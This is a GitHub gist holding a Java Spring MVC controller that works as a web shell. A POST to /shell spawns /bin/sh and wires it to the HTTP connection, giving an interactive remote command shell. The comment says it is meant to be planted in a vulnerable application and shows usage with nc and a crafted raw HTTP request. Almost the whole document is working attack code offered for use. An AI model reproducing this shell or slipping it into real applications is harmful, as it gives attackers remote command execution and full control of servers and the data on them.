Skip to content

Instantly share code, notes, and snippets.

@dzmitry-savitski
Created January 29, 2018 11:33
Show Gist options
  • Save dzmitry-savitski/89540f13316e594b61420e07932053ae to your computer and use it in GitHub Desktop.
Save dzmitry-savitski/89540f13316e594b61420e07932053ae to your computer and use it in GitHub Desktop.
Spring MVC shell using controller and AsyncContext
package com.dsavitski.vulnerable.controllers;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.AsyncContext;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
/**
* This Spring MVC controller can help to create a cmd shell in vulnerable application.
* <p>
* Usage:
* nc localhost 8080
* POST /shell HTTP/1.1
* Host: localhost
* Content-Length: 2147483647
* Accept-Encoding: identity
* Transfer-Encoding: identity
* <p>
* After that you'll have a cmd shell.
* Tomcat sets connectionTimeout for 20 seconds, so your input stream will be dropped after 20 seconds of idle.
*/
@Controller
public class ShellController {
private static final String MAPPING = "/shell";
private static final String EXEC = "/bin/sh";
@RequestMapping(value = MAPPING, method = RequestMethod.POST)
@ResponseBody
public String index(HttpServletRequest request, HttpServletResponse response) throws IOException {
// get rid of Transfer-Encoding: chunked in response
response.setContentLength(Integer.MAX_VALUE);
AsyncContext asyncContext = request.startAsync();
final ServletOutputStream socketOut = asyncContext.getResponse().getOutputStream();
final ServletInputStream socketIn = asyncContext.getRequest().getInputStream();
socketOut.println("Shell started!");
socketOut.flush();
Process p = new ProcessBuilder(EXEC).redirectErrorStream(true).start();
InputStream processIn = p.getInputStream();
InputStream processError = p.getErrorStream();
OutputStream processOut = p.getOutputStream();
while (true) {
try {
while (processIn.available() > 0) socketOut.write(processIn.read());
while (processError.available() > 0) socketOut.write(processError.read());
socketOut.flush();
int read = socketIn.read();
if (read > 0 && read != 10) {
do {
processOut.write(read);
read = socketIn.read();
} while (read > 0 && read != 10);
processOut.write(10);
processOut.flush();
}
Thread.sleep(50);
p.exitValue();
break;
} catch (Exception e) { /* NOP */}
}
p.destroy();
return "Shell closed!";
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment